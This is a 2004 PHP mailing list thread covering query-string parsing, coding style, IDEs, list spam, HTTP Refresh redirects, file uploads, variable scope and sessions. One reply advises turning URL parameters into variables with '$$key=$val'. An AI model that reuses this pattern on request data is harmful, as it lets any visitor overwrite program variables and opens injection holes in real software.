> cc=br&pr=04&lcarray=1&idarray=816083
> 
> Has anybody an idea on how to put this into an array to make it
> accesible like this: 
> 
> $para[cc]
> $para[pr]
> etc.

Try parse_str() (http://www.php.net/parse-str).

Cheers!

Mike

-
Mike Ford,  Electronic Information Services Adviser,
Learning Support Services, Learning & Information Services,
JG125, James Graham Building, Leeds Metropolitan University,
Beckett Park, LEEDS,  LS6 3QS,  United Kingdom
Email: [EMAIL PROTECTED]
Tel: +44 113 283 2600 extn 4730  Fax:  +44 113 283 3211 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] How to access $_GET while using mod_rewrite

2004-02-16 Thread Chris Hayes



I am using mod_rewrite which makes it impossible to use the $_GET function.
that depends...
if you would translate the fake url
  www.yoursite.org/par1/val1/parameter2/value2
to
  www.yoursite.org?page.php?par1=val1¶meter2=value2
you are ready.
Check the net for quite some examples.
Here is what it looks like:
cc=br&pr=04&lcarray=1&idarray=816083
Has anybody an idea on how to put this into an array to make it accesible 
like this:

$para[cc]
$para[pr]
etc.
Ok if you want to do it that way, what about this idea:

$array1= explode ('&','cc=br&pr=04&lcarray=1&idarray=816083');
then walk through array 1
and for each item in it array1
{
list ($key,$val)=explode ('=',$array1[$i]);
$$key=$val;
}
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re[4]: [PHP] isset() question

2004-02-16 Thread Richard Davey
Hello Jason,

Monday, February 16, 2004, 2:21:01 PM, you wrote:

>> Consistency.
JW> With what? With whose idea of style/formatting?

If you hadn't chopped off the rest of my paragraph you'd have the
answer.

JW> I doubt you will find consistency in the real between different 
JW> programmers/organisations. If such consistency was there then PHP would've
JW> have only had to support a single formatting style/syntax.

You won't, but you will find standards that some people adhere to. Feel
free to do whatever you like, I don't have to debug your code so it
doesn't bother me :)

JW> To me the alternative of escaping in and out of php over 3 or more lines is
JW> even more of a mess.

How is clearly structured code a mess? The line count is irrelevant.
Your preferred version is a scramble of tags and code, mine is clearly
defined per line, works in my IDE of choice (as well as others with
brace matching) and follows the attempts out there of PHP coding standards
(mostly inherited from the C++ fraternity). That's why *I* like it.

We're not going to agree on this, but you're still wrong in saying the
version I posted is "messy"; it couldn't get any cleaner even in an
html escaping context. Each to their own.

JW> It should be judged by its substance (ie the other factors) and not style. All

That's like saying a piece of art should not be judged in its use of
colour, but on the image itself - when in actual fact, they're both
as important as each other.

Children (and indeed adults) pick up bad writing habits by reading
"sloppy" prose, you implicitly learn the style in-front of you even if
the message itself comes across loud and clear. I see no difference
with code. You're saying "if it works, what does it matter what it
looks like". I don't agree, it matters a lot.

JW> Good coding techniques/practices/styles have their own books.

Everything has its own book, that doesn't mean it shouldn't be
encouraged/implied in the more "beginner" titles out there. It's their
responsibility as well. They should teach how to avoid spaghetti
coding and how to structure code so you can return to it a few years
down the line and not think "wtf is going on here?".

JW> Just as you can't judge a book by its cover, you should not judge a
JW> programming language book by its coding style.

We can leave this here because this will continue going around in
circles - but I strongly disagree. You can tell a LOT about the
overall quality of a script by its coding style and structure - just
because its printed in the pages of book I see no reason why they
should be treated any differently.

-- 
Best regards,
 Richard Davey
 http://www.phpcommunity.org/wiki/296.html

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] PHP IDE

2004-02-16 Thread Alex Hogan
Hi All,

 

I was just wondering what different IDEs everyone is using and why.  I am
asking to see if there are advantages in working in one over the other,
other than personal preference of course.

 

I currently work in DW MX 04.  But I would like to know the pros and cons in
the others being used in production environments.

 

 

 

Thanks,

 

alex hogan

 



** 
The contents of this e-mail and any files transmitted with it are 
confidential and intended solely for the use of the individual or 
entity to whom it is addressed.  The views stated herein do not 
necessarily represent the view of the company.  If you are not the 
intended recipient of this e-mail you may not copy, forward, 
disclose, or otherwise use it or any part of it in any form 
whatsoever.  If you have received this e-mail in error please 
e-mail the sender. 
** 




RE: [PHP] problems with spam

2004-02-16 Thread mayo

I expected it. That's why I use a variety of email. However for over a year
this address has been clean and then wham -- I get slammed. To me it's an
indication that at least one of the listserv has been harvested. I'm trying
to locate the listserv and contact the admin.

Gil Midonnet


 > -Original Message-
 > From: Stuart [mailto:[EMAIL PROTECTED]
 > Sent: Monday, February 16, 2004 9:49 AM
 > To: mayo
 > Cc: php-general
 > Subject: Re: [PHP] problems with spam
 >
 >
 > mayo wrote:
 > > Has anybody else been getting spammed with penis and breast
 > enlargeners to
 > > their listserv email?
 >
 > Always.
 >
 > > I use [EMAIL PROTECTED] solely for listservs and in the
 > past week I've
 > > started getting 5-10 spams a day.
 >
 > What did you expect when you posted to a public mailing list?
 >
 > --
 > Stuart
 >
 > --
 > PHP General Mailing List (http://www.php.net/)
 > To unsubscribe, visit: http://www.php.net/unsub.php
 >

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP IDE

2004-02-16 Thread Richard Davey
Hello Alex,

Monday, February 16, 2004, 3:35:32 PM, you wrote:

AH> I was just wondering what different IDEs everyone is using and why.  I am
AH> asking to see if there are advantages in working in one over the other,
AH> other than personal preference of course.

Zend IDE 3.0.2

The biggest benefits for me:

Code Profiler - find out which parts of your code are running slowly.
Debugger - find out why.

Both accessible from the IE toolbar plugin (browse to the page/form
you want to profile and hit the button).

Very nice editor. Powerful search/replace (although no better than
Homesites which is what DW uses IIRC). Syntax checker, good Project
and CVS support, auto-complete and the very very useful function
in-sight feature which will give you pop-up suggestions to finish off
your function - i.e. type in "str" and as well as showing you stuff
like striptags or str_replace it'll also should you any functions you
have that start with "str" (stream_file for example). This is very
neat in big projects with loads of functions. Works across classes
too.

It's quite expensive, but the code profiler has paid for itself
several times over already and hey - it's by Zend, so you're kinda
supporting PHPs future too in a way.

-- 
Best regards,
 Richard Davey
 http://www.phpcommunity.org/wiki/296.html

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re[2]: [PHP] problems with spam

2004-02-16 Thread Richard Davey
Hello mayo,

Monday, February 16, 2004, 3:36:55 PM, you wrote:

m> I expected it. That's why I use a variety of email. However for over a year
m> this address has been clean and then wham -- I get slammed. To me it's an
m> indication that at least one of the listserv has been harvested. I'm trying
m> to locate the listserv and contact the admin.

There are probably spam bots out there that harvest the PHP list
daily. I'm not sure what you expect any listserv admin to do about it
though, by their very nature this is unavoidable.

-- 
Best regards,
 Richard Davey
 http://www.phpcommunity.org/wiki/296.html

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: Re[2]: [PHP] problems with spam

2004-02-16 Thread mayo
well,

Interestingly enough I found the listserv. It's not one of the PHP lists in
case you're interested.

As for my email being harvested because I wrote it out
([EMAIL PROTECTED]). Well I'll change it to
something else. :-)

Regarding deleteing and filtering. You bet like everyone else who belongs to
numerous listservs I hit the delete button often. It wasn't surprise -- it
was trying to pinpoint the listserv and give a heads up.

As it is members of one listserv has gotten swamped. The response there was
a deluge of "me too!"


Gil Midonnet


 > -Original Message-
 > From: Richard Davey [mailto:[EMAIL PROTECTED]
 > Sent: Monday, February 16, 2004 10:46 AM
 > To: mayo
 > Cc: php-general
 > Subject: Re[2]: [PHP] problems with spam
 >
 >
 > Hello mayo,
 >
 > Monday, February 16, 2004, 3:36:55 PM, you wrote:
 >
 > m> I expected it. That's why I use a variety of email. However
 > for over a year
 > m> this address has been clean and then wham -- I get slammed.
 > To me it's an
 > m> indication that at least one of the listserv has been
 > harvested. I'm trying
 > m> to locate the listserv and contact the admin.
 >
 > There are probably spam bots out there that harvest the PHP list
 > daily. I'm not sure what you expect any listserv admin to do about it
 > though, by their very nature this is unavoidable.
 >
 > --
 > Best regards,
 >  Richard Davey
 >  http://www.phpcommunity.org/wiki/296.html
 >
 > --
 > PHP General Mailing List (http://www.php.net/)
 > To unsubscribe, visit: http://www.php.net/unsub.php
 >

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re[4]: [PHP] problems with spam

2004-02-16 Thread Richard Davey
Hello mayo,

Monday, February 16, 2004, 3:51:30 PM, you wrote:

m> As for my email being harvested because I wrote it out
m> ([EMAIL PROTECTED]). Well I'll change it to
m> something else. :-)

There are other ways - spam bots can actually subscribe to the list
and then just reap the email address of anyone who posts. Or of course
just scan the web version of the list archives.

m> As it is members of one listserv has gotten swamped. The response there was
m> a deluge of "me too!"

I bet. It's annoying, but not as annoying as when you post to the list
and get a stack of Delivery Reports, Out of office replies, user
mailbox full errors and various other things back again from the
actual "subscribers".

-- 
Best regards,
 Richard Davey
 http://www.phpcommunity.org/wiki/296.html

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] php as cgi with static libraries?

2004-02-16 Thread Marten Lehmann
Hello,

You will need to build php yourself, take a look at configure --help:

$ ./configure --help | grep static
  --enable-static[=PKGS]  build static libraries [default=yes]
that's what I already did (--enable-static=db4), but after that a 'ldd 
php' still showed me references to libdb.so. I don't want to build php 
with absolutely no dynamic libaries, only certain libaries shall be 
compiled in statically.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] Re: phps and iis

2004-02-16 Thread zerof
Another useful resource:
http://www.php.net/manual/en/install.iis.php
-
zerof
-
"Scott Fletcher" <[EMAIL PROTECTED]> escreveu na mensagem
news:[EMAIL PROTECTED]
> Well, the instruction at macromedia website is not accurate.  It is only for
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] mySQL SQL Conversion

2004-02-16 Thread Logan McKinley
I am using MySQL (4.0.17) and am getting errors with the following SQL
statement originally writen for MS products.

SELECT
survey_questions.Question_ID,
First(survey_questions.Question_Text) AS FirstOfQuestion_Text, <== this line
returns errors i believe it is the AS
Avg(survey_responses.Response) AS AvgOfResponse,
Count(survey_responses.Response) AS CountOfResponse,
survey_questions.survey_num

FROM
survey_questions INNER JOIN survey_responses ON survey_questions.Question_ID
= survey_responses.QuestionID

GROUP BY survey_questions.Question_ID, survey_questions.survey_num

HAVING (((Avg(survey_responses.Response))<>-1) AND
((survey_questions.survey_num)=0));

Thanks in advance,
~Logan


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] mySQL SQL Conversion

2004-02-16 Thread Raditha Dissanayake
hi,

this is a php message board.

Logan McKinley wrote:

I am using MySQL (4.0.17) and am getting errors with the following SQL
statement originally writen for MS products.
SELECT
survey_questions.Question_ID,
First(survey_questions.Question_Text) AS FirstOfQuestion_Text, <== this line
returns errors i believe it is the AS
Avg(survey_responses.Response) AS AvgOfResponse,
Count(survey_responses.Response) AS CountOfResponse,
survey_questions.survey_num
FROM
survey_questions INNER JOIN survey_responses ON survey_questions.Question_ID
= survey_responses.QuestionID
GROUP BY survey_questions.Question_ID, survey_questions.survey_num

HAVING (((Avg(survey_responses.Response))<>-1) AND
((survey_questions.survey_num)=0));
Thanks in advance,
~Logan
 



--
Raditha Dissanayake.

http://www.radinks.com/sftp/ | http://www.raditha.com/megaupload
Lean and mean Secure FTP applet with | Mega Upload - PHP file uploader
Graphical User Inteface. Just 150 KB | with progress bar.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] PHP/ MySQL Login Module

2004-02-16 Thread Pushpinder Singh
hello everyone.

I am using PHP and MySQL on my website. Till now I was using a 
Login module with sessions, but the look and feel was not quite up to 
the mark. I have the functionality working just fine. I was wondering 
if I cold get my hands on a 'Login' module like www.zend.com (and other 
sites as well ) uses on their site.  i.e. the small rectangular box in 
the top frame on the right hand corner.  I am also looking at 
google.com , but have not come across anything till now. Pl let me know 
if you guys have anything, that might be useful.

Thanks in advance
Pushpinder
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] PHP REDIRECT

2004-02-16 Thread Chris Shiflett
--- ajay <[EMAIL PROTECTED]> wrote:
> i'd like to redirect a person to another page but after a certain time
> interval has elapsed. this is because i have a generic error displaying
> page and i would like the person to go to this page, stay there for like
> 10 seconds and then be redirected to the index page.
> 
> i was using header("url") to redirect the user. but how do i get that to
> happen after a certain time interval.

Use the Refresh header:

header('Refresh: 10;URL=http://example.org/');

Hope that helps.

Chris

=
Chris Shiflett - http://shiflett.org/

PHP Security - O'Reilly
 Coming mid-2004
HTTP Developer's Handbook - Sams
 http://httphandbook.org/
PHP Community Site
 http://phpcommunity.org/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP/ MySQL Login Module

2004-02-16 Thread Raditha Dissanayake
hotscripts and freshmeat have plenty

Pushpinder Singh wrote:

hello everyone.

I am using PHP and MySQL on my website. Till now I was using a 
Login module with sessions, but the look and feel was not quite up to 
the mark. I have the functionality working just fine. I was wondering 
if I cold get my hands on a 'Login' module like www.zend.com (and 
other sites as well ) uses on their site.  i.e. the small rectangular 
box in the top frame on the right hand corner.  I am also looking at 
google.com , but have not come across anything till now. Pl let me 
know if you guys have anything, that might be useful.

Thanks in advance
Pushpinder


--
Raditha Dissanayake.

http://www.radinks.com/sftp/ | http://www.raditha.com/megaupload
Lean and mean Secure FTP applet with | Mega Upload - PHP file uploader
Graphical User Inteface. Just 150 KB | with progress bar.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


RE: [PHP] PHP REDIRECT

2004-02-16 Thread Chris Shiflett
--- Chris <[EMAIL PROTECTED]> wrote:
> You can't view the page and have PHP redirect it. You would need to
> use a  refresh tag or JavaScript.

I assume by meta refresh tag, you mean this:

http://example.org/";>

What most people seem to not realize, is that the http-equiv attribute is
just a way to specify HTTP headers in a meta tag. This is handy when you
want to do so in static pages, but PHP has a more proper way to specify
headers:

http://www.php.net/header

This creates a real HTTP header, and there is no reason for any PHP
developer to use a meta tag for this purpose.

Hope that helps.

Chris

=
Chris Shiflett - http://shiflett.org/

PHP Security - O'Reilly
 Coming mid-2004
HTTP Developer's Handbook - Sams
 http://httphandbook.org/
PHP Community Site
 http://phpcommunity.org/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Resource id #1

2004-02-16 Thread Mike Mapsnac
I print variable to the screen and get the result "Resource id #1". Any 
ideas waht Resource id #1 is?
Thanks

_
Plan your next US getaway to one of the super destinations here. 
http://special.msn.com/local/hotdestinations.armx

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


RE: [PHP] Resource id #1

2004-02-16 Thread Shaunak Kashyap
It's probably a database result set or a connection object or something
similar.

Shaunak

> -Original Message-
> From: Mike Mapsnac [mailto:[EMAIL PROTECTED]
> Sent: Monday, February 16, 2004 11:53 AM
> To: [EMAIL PROTECTED]
> Subject: [PHP] Resource id #1
>
>
> I print variable to the screen and get the result "Resource id #1". Any
> ideas waht Resource id #1 is?
> Thanks
>
> _
> Plan your next US getaway to one of the super destinations here.
> http://special.msn.com/local/hotdestinations.armx
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP REDIRECT

2004-02-16 Thread Lowell Allen
> --- Chris <[EMAIL PROTECTED]> wrote:
>> You can't view the page and have PHP redirect it. You would need to
>> use a  refresh tag or JavaScript.
> 
> I assume by meta refresh tag, you mean this:
> 
> http://example.org/";>
> 
> What most people seem to not realize, is that the http-equiv attribute is
> just a way to specify HTTP headers in a meta tag. This is handy when you
> want to do so in static pages, but PHP has a more proper way to specify
> headers:
> 
> http://www.php.net/header
> 
> This creates a real HTTP header, and there is no reason for any PHP
> developer to use a meta tag for this purpose.

Well, how about this situation as a reason:

You must do authorization, then force a file download, and you want to also
display a link to the file with the typical "click the link below if the
download does not start automatically". I couldn't figure out how to display
a page (after authorization), then use the PHP header redirect to force the
download while keeping the same page display. However, using a meta refresh
to a script that forced the download (without producing any display) was an
easy solution.

Am I overlooking a better solution?

--
Lowell Allen

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] PHP REDIRECT

2004-02-16 Thread Chris
Heh, I was on my way to bed and didn't think about that. (And my 'answer'
was a bit abrupt as well)

Ah well, booboo's happen. I've always been an advocater of doing things the
*right way*, and in this case, the Refresh header would seem to be the right
way.

JUST SAY NO to meta http-equiv tags! :)

Chris (the other one)


> -Original Message-
> From: Chris Shiflett [mailto:[EMAIL PROTECTED]
> Sent: Monday, February 16, 2004 8:51 AM
> To: Chris; ajay; [EMAIL PROTECTED]
> Subject: RE: [PHP] PHP REDIRECT
>
>
> --- Chris <[EMAIL PROTECTED]> wrote:
> > You can't view the page and have PHP redirect it. You would need to
> > use a  refresh tag or JavaScript.
>
> I assume by meta refresh tag, you mean this:
>
> http://example.org/";>
>
> What most people seem to not realize, is that the http-equiv attribute is
> just a way to specify HTTP headers in a meta tag. This is handy when you
> want to do so in static pages, but PHP has a more proper way to specify
> headers:
>
> http://www.php.net/header
>
> This creates a real HTTP header, and there is no reason for any PHP
> developer to use a meta tag for this purpose.
>
> Hope that helps.
>
> Chris
>
> =
> Chris Shiflett - http://shiflett.org/
>
> PHP Security - O'Reilly
>  Coming mid-2004
> HTTP Developer's Handbook - Sams
>  http://httphandbook.org/
> PHP Community Site
>  http://phpcommunity.org/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] PHP REDIRECT

2004-02-16 Thread Stuart
Lowell Allen wrote:
You must do authorization, then force a file download, and you want to also
display a link to the file with the typical "click the link below if the
download does not start automatically". I couldn't figure out how to display
a page (after authorization), then use the PHP header redirect to force the
download while keeping the same page display. However, using a meta refresh
to a script that forced the download (without producing any display) was an
easy solution.
You're missing the point of what Chris is saying.

http://example.org/";>

and

header('Refresh: 10;URL=http://example.org/');

are both doing the same thing just in different ways. The http-equiv 
meta tag was created to allow static HTML pages to specify HTTP headers. 
With PHP you don't need to use that, you can actually send the browser 
the actual header. IMHO it's a better way to do it, but I can't actually 
see a reason why I feel that way.

--
Stuart
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] File input in form

2004-02-16 Thread marc serra
Hi, 

 

I'm designing a form with an file upload process.

 

So I've wrote something like this:

 



 

 



 

 

This work perfectly and now I got my file valid_form.php which receive the
data:

 

In that page I want to call a function to store file like this

storeFile($fichier);

ps :when I write : "echo $fichier_name" the name of the file is displayed.

 

My problem is that in the function storeFile when I want to save data I got
an error and when I write:

"echo $fichier_name;" nothing appear like if it doesn't know my
file..

 

So can you please tell me how to call a function with file in parameter to
store it.

 

Thx in advance,

 

Marc.

 



RE: [PHP] File input in form

2004-02-16 Thread Shaunak Kashyap
Sounds like a scope problem. I suggest using $_FILES['fichier'] inside the
function since $_FILES is a superglobal and is accessible everywhere. If you
use this method, you won't need to pass anything to the function.

Shaunak

> -Original Message-
> From: marc serra [mailto:[EMAIL PROTECTED]
> Sent: Monday, February 16, 2004 12:47 PM
> To: [EMAIL PROTECTED]
> Subject: [PHP] File input in form
>
>
> Hi,
>
>
>
> I'm designing a form with an file upload process.
>
>
>
> So I've wrote something like this:
>
>
>
> 
>
>  
>
>  
>
> 
>
>
>
>
>
> This work perfectly and now I got my file valid_form.php which receive the
> data:
>
>
>
> In that page I want to call a function to store file like this
>
> storeFile($fichier);
>
> ps :when I write : "echo $fichier_name" the name of the file is displayed.
>
>
>
> My problem is that in the function storeFile when I want to save
> data I got
> an error and when I write:
>
> "echo $fichier_name;" nothing appear like if it
> doesn't know my
> file..
>
>
>
> So can you please tell me how to call a function with file in parameter to
> store it.
>
>
>
> Thx in advance,
>
>
>
> Marc.
>
>
>
>

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Scope: global $GLOBALS[]

2004-02-16 Thread Paul Furman
I checked the manual but I still don't get it.
http://us2.php.net/manual/en/language.variables.scope.php
I'm setting a variable $pics with a form by post method. It's on a 
"screen" that is included, then it needs to be applied to another 
"screen" that will take it's place when it's all re-processed.

template
  include header
  include SCREEN (picture or settings)
  include footer
Now, the template sets $pics to a default and then I can pull up the 
picture screen and setting $pics global makes it work but if I go to the 
settings screen to change $pic, it doesn't stick, even if I set it 
global there. I'm not sure if I need to set global once in the template 
or not there but in each screen I want to use it.



template:

global $pics;
if (!isset($pics)){$pics = 8;}
picture screen:

global $pics;
# works fine with the setting 8 from the template
settings screen:

global $pics;
print $pics; #for debugging, always follows template setting
if (!isset($pics)){$pics = 5;}
  if ($_POST){
if (isset ($_POST['thumbs'])){
  $pics = $_POST['thumbs'];
  print "settings have been changed";
}
}
?>

  " 
method="post">
  number of thumbnails per page: 
  
 value="">
  OK
  

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Header+location+sessions

2004-02-16 Thread Natalia Sensini
I've been using
header("Location: http://www.example.com/";);
before writing this sentence i create a session and
register a session var, but when i go to the redirected page the session var
doesn't exist.
Someone could help me?






Re: [PHP] PHP REDIRECT

2004-02-16 Thread Raditha Dissanayake
Hi Chris and Chris and et al.

It's not often that i disagree with the other chris but one occaision 
where meta refresh turns out to be the only solution is when working 
with some payment gateways where instead of doing a simple old post to 
your return page they include it inside their own thank you page so the 
headers will not work.

Lame? well some of the best known gateways are doing it.



Chris wrote:

Heh, I was on my way to bed and didn't think about that. (And my 'answer'
was a bit abrupt as well)
Ah well, booboo's happen. I've always been an advocater of doing things the
*right way*, and in this case, the Refresh header would seem to be the right
way.
JUST SAY NO to meta http-equiv tags! :)

Chris (the other one)

 

-Original Message-
From: Chris Shiflett [mailto:[EMAIL PROTECTED]


--
Raditha Dissanayake.

http://www.radinks.com/sftp/ | http://www.raditha.com/megaupload
Lean and mean Secure FTP applet with | Mega Upload - PHP file uploader
Graphical User Inteface. Just 150 KB | with progress bar.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] Header+location+sessions

2004-02-16 Thread Jason Wong
On Tuesday 17 February 2004 01:57, Natalia Sensini wrote:
> I've been using
> header("Location: http://www.example.com/";);
> before writing this sentence i create a session and
> register a session var, but when i go to the redirected page the session
> var doesn't exist.

session_write_close() before you redirect.

-- 
Jason Wong -> Gremlins Associates -> www.gremlins.biz
Open Source Software Systems Integrators
* Web Design & Hosting * Internet & Intranet Applications Development *
--
Search the list archives before you post
http://marc.theaimsgroup.com/?l=php-general
--
/*
"I'd love to go out with you, but I'm attending the opening of my garage 
door."
*/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] PHP REDIRECT

2004-02-16 Thread Chris
I'm not quite following you here. I understand that no solution is always
the correct one. Everything has exceptions...

If the page you want to redirect from has PHP, just dont' use the , set the header with PHP instead. As far as I can see that
should always be possible.

> -Original Message-
> From: Raditha Dissanayake [mailto:[EMAIL PROTECTED]
> Sent: Monday, February 16, 2004 10:07 AM
> To: [EMAIL PROTECTED]
> Subject: Re: [PHP] PHP REDIRECT
>
>
> Hi Chris and Chris and et al.
>
> It's not often that i disagree with the other chris but one occaision
> where meta refresh turns out to be the only solution is when working
> with some payment gateways where instead of doing a simple old post to
> your return page they include it inside their own thank you page so the
> headers will not work.
>
> Lame? well some of the best known gateways are doing it.
>
>
>
> Chris wrote:
>
> >Heh, I was on my way to bed and didn't think about that. (And my 'answer'
> >was a bit abrupt as well)
> >
> >Ah well, booboo's happen. I've always been an advocater of doing
> things the
> >*right way*, and in this case, the Refresh header would seem to
> be the right
> >way.
> >
> >JUST SAY NO to meta http-equiv tags! :)
> >
> >Chris (the other one)
> >
> >
> >
> >
> >>-Original Message-
> >>From: Chris Shiflett [mailto:[EMAIL PROTECTED]
> >>
>
>
> --
> Raditha Dissanayake.
> 
> http://www.radinks.com/sftp/ | http://www.raditha.com/megaupload
> Lean and mean Secure FTP applet with | Mega Upload - PHP file uploader
> Graphical User Inteface. Just 150 KB | with progress bar.
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, visit: http://www.php.net/unsub.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] empty file's content?

2004-02-16 Thread Mike Mapsnac
How can I empty a file's content through php defined functions?
Thanks
_
Check out the great features of the new MSN 9 Dial-up, with the MSN Dial-up 
Accelerator. http://click.atdmt.com/AVE/go/onm00200361ave/direct/01/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] PHP REDIRECT

2004-02-16 Thread Raditha Dissanayake
Nopes,

What happens is that the gateways include your page instead of posting 
to your page.

For example if you visit a site that uses worldpay as a payment service 
provider you will see their banner on the thank you page after
payment is made.  In such cases the header functions will not work 
because it's too late to send them.

hope this is a better explaination.

best regards
raditha
Chris wrote:

I'm not quite following you here. I understand that no solution is always
the correct one. Everything has exceptions...
If the page you want to redirect from has PHP, just dont' use the , set the header with PHP instead. As far as I can see that
should always be possible.
 

-Original Message-
From: Raditha Dissanayake [mailto:[EMAIL PROTECTED]
Sent: Monday, February 16, 2004 10:07 AM
To: [EMAIL PROTECTED]
Subject: Re: [PHP] PHP REDIRECT
Hi Chris and Chris and et al.

It's not often that i disagree with the other chris but one occaision
where meta refresh turns out to be the only solution is when working
with some payment gateways where instead of doing a simple old post to
your return page they include it inside their own thank you page so the
headers will not work.
Lame? well some of the best known gateways are doing it.



Chris wrote:

   

Heh, I was on my way to bed and didn't think about that. (And my 'answer'
was a bit abrupt as well)
Ah well, booboo's happen. I've always been an advocater of doing
 

things the
   

*right way*, and in this case, the Refresh header would seem to
 

be the right
   

way.

JUST SAY NO to meta http-equiv tags! :)

Chris (the other one)



 

-Original Message-
From: Chris Shiflett [mailto:[EMAIL PROTECTED]
   

--
Raditha Dissanayake.

http://www.radinks.com/sftp/ | http://www.raditha.com/megaupload
Lean and mean Secure FTP applet with | Mega Upload - PHP file uploader
Graphical User Inteface. Just 150 KB | with progress bar.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
   

 



--
Raditha Dissanayake.

http://www.radinks.com/sftp/ | http://www.raditha.com/megaupload
Lean and mean Secure FTP applet with | Mega Upload - PHP file uploader
Graphical User Inteface. Just 150 KB | with progress bar.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] empty file's content?

2004-02-16 Thread Raditha Dissanayake
Hi,
not sure why you want to do that when removing is so much easier but 
here goes:

open the file for writing and close it without writing anything to it.

Mike Mapsnac wrote:

How can I empty a file's content through php defined functions?
Thanks




--
Raditha Dissanayake.

http://www.radinks.com/sftp/ | http://www.raditha.com/megaupload
Lean and mean Secure FTP applet with | Mega Upload - PHP file uploader
Graphical User Inteface. Just 150 KB | with progress bar.
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


RE: [PHP] PHP REDIRECT

2004-02-16 Thread Chris
Ahh, ok, I understand. Thanks

Chris

> -Original Message-
> From: Raditha Dissanayake [mailto:[EMAIL PROTECTED]
> Sent: Monday, February 16, 2004 10:51 AM
> To: Chris; [EMAIL PROTECTED]
> Subject: Re: [PHP] PHP REDIRECT
>
>
> Nopes,
>
> What happens is that the gateways include your page instead of posting
> to your page.
>
> For example if you visit a site that uses worldpay as a payment service
> provider you will see their banner on the thank you page after
> payment is made.  In such cases the header functions will not work
> because it's too late to send them.
>
> hope this is a better explaination.
>
> best regards
> raditha
>
>
> Chris wrote:
>
> >I'm not quite following you here. I understand that no solution is always
> >the correct one. Everything has exceptions...
> >
> >If the page you want to redirect from has PHP, just dont' use the  >http-equiv=...>, set the header with PHP instead. As far as I
> can see that
> >should always be possible.
> >
> >
> >
> >>-Original Message-
> >>From: Raditha Dissanayake [mailto:[EMAIL PROTECTED]
> >>Sent: Monday, February 16, 2004 10:07 AM
> >>To: [EMAIL PROTECTED]
> >>Subject: Re: [PHP] PHP REDIRECT
> >>
> >>
> >>Hi Chris and Chris and et al.
> >>
> >>It's not often that i disagree with the other chris but one occaision
> >>where meta refresh turns out to be the only solution is when working
> >>with some payment gateways where instead of doing a simple old post to
> >>your return page they include it inside their own thank you page so the
> >>headers will not work.
> >>
> >>Lame? well some of the best known gateways are doing it.
> >>
> >>
> >>
> >>Chris wrote:
> >>
> >>
> >>
> >>>Heh, I was on my way to bed and didn't think about that. (And
> my 'answer'
> >>>was a bit abrupt as well)
> >>>
> >>>Ah well, booboo's happen. I've always been an advocater of doing
> >>>
> >>>
> >>things the
> >>
> >>
> >>>*right way*, and in this case, the Refresh header would seem to
> >>>
> >>>
> >>be the right
> >>
> >>
> >>>way.
> >>>
> >>>JUST SAY NO to meta http-equiv tags! :)
> >>>
> >>>Chris (the other one)
> >>>
> >>>
> >>>
> >>>
> >>>
> >>>
> -Original Message-
> From: Chris Shiflett [mailto:[EMAIL PROTECTED]
> 
> 
> 
> >>--
> >>Raditha Dissanayake.
> >>
> >>http://www.radinks.com/sftp/ | http://www.raditha.com/megaupload
> >>Lean and mean Secure FTP applet with | Mega Upload - PHP file uploader
> >>Graphical User Inteface. Just 150 KB | with progress bar.
> >>
> >>--
> >>PHP General Mailing List (http://www.php.net/)
> >>To unsubscribe, visit: http://www.php.net/unsub.php
> >>
> >>
> >
> >
> >
>
>
> --
